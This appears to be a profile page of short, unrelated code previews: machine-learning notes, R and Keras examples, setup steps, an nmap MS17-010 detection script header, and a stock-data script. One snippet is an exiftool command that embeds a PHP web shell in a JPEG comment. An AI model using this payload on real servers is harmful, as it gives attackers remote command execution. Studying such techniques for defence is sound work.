rosdyana

Supervised

• All data is labeled and the algorithms learn to predict the output from the input data.
• Classification , Regression
• Linear regression and classification , Random forest , Support vector machine , Bayesian, Neural networks

Unsupervised

• All data is unlabeled and the algorithms learn to inherent structure from the input data.
• Clusterring, Association
• K-means , Apriori Algorithm

Semi-supervised

• Some data is labeled but most of it is unlabeled and a mixture of supervised and unsupervised techniques can be used.

rosdyana

#!/usr/bin/Rscript
# Name : Rosdyana Kusuma
# Student ID : s1056035
# mail : [email protected] , [email protected]
# site : rosdyanakusuma.com

# read input data.
dataInput = read.csv("input.csv", header=F , sep=",")

# create confusion matrix.

rosdyana

Growth of Machine Learning

---

Machine learning is preferred approach to

• Speech recognition , Natural language processing
• Computer vision
• Medical outcomes analysis
• Robot control
• Computational biology
• Sensor networks

rosdyana

update_github <- function() {
  pkgs = loadedNamespaces()
  print(pkgs)
  desc <- lapply(pkgs, packageDescription, lib.loc = NULL)
  for (d in desc) {
    message("working on ", d$Package)
    if (!is.null(d$GithubSHA1)) {
      message("Github found")
      install_github(repo = d$GithubRepo, username = d$GithubUsername)
    }

rosdyana

exiftool.exe -Comment="<?php passthru(\$_GET'cmd'); _halt_compiler();" jnck.jpg

rosdyana

keras==1.1.2
theano==0.8.2
tensorflow==
numpy==1.12.1
scipy==0.18.1
h5py==2.6.0
scikit-learn==0.18.1

rosdyana

1. create anaconda environment with python 3.5
- conda create -n kerascodai python=3.5
- activate kerascodai

2. install tensorflow with GPU support
- pip install --ignore-installed --upgrade https://storage.googleapis.com/tensorflow/windows/gpu/tensorflow_gpu-1.1.0-cp35-cp35m-win_amd64.whl 

3. install theano
- download minGW
https://sourceforge.net/projects/mingw-w64/files/Toolchains%20targetting%20Win64/Personal%20Builds/mingw-builds/5.4.0/threads-posix/seh/x86_64-5.4.0-release-posix-seh-rt_v5-rev0.7z/download

rosdyana

import numpy as np
from keras.models import Sequential
from keras.layers import Dense

# dataset 
trainX = np.array([1, 2 ,3 ,4 , 5 , 6 , 7,  8,  9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24])
trainY = np.array([3, 6, 9, 12, 15, 18, 21, 24, 27, 30, 33, 36, 39, 42, 45, 48, 51, 54, 57, 60, 63, 66, 69, 72])

# create a model
model = Sequential()

rosdyana

local smb = require "smb"
local vulns = require "vulns"
local stdnse = require "stdnse"
local string = require "string"

description = [[
Attempts to detect if a Microsoft SMBv1 server is vulnerable to a remote code
 execution vulnerability (ms17-010).

The script connects to the $IPC tree, executes a transaction on FID 0 and

rosdyana

library(quantmod)


stockData <- new.env()

xsymbols <- c('SPY','IEF','TLT',
              'QAI','MNA','CPI','FTLS','BTAL','CSLS', # Alternative ETFs
              'LQD','CLY','VCSH','EMB','EMAG','VWOB', # Bond/Fixed Income
              'SHY','ZROZ','EDV','HYG','EMHY','HYLB',
              'BWX','ALD','IAGG','MINT','VRIG','BIL',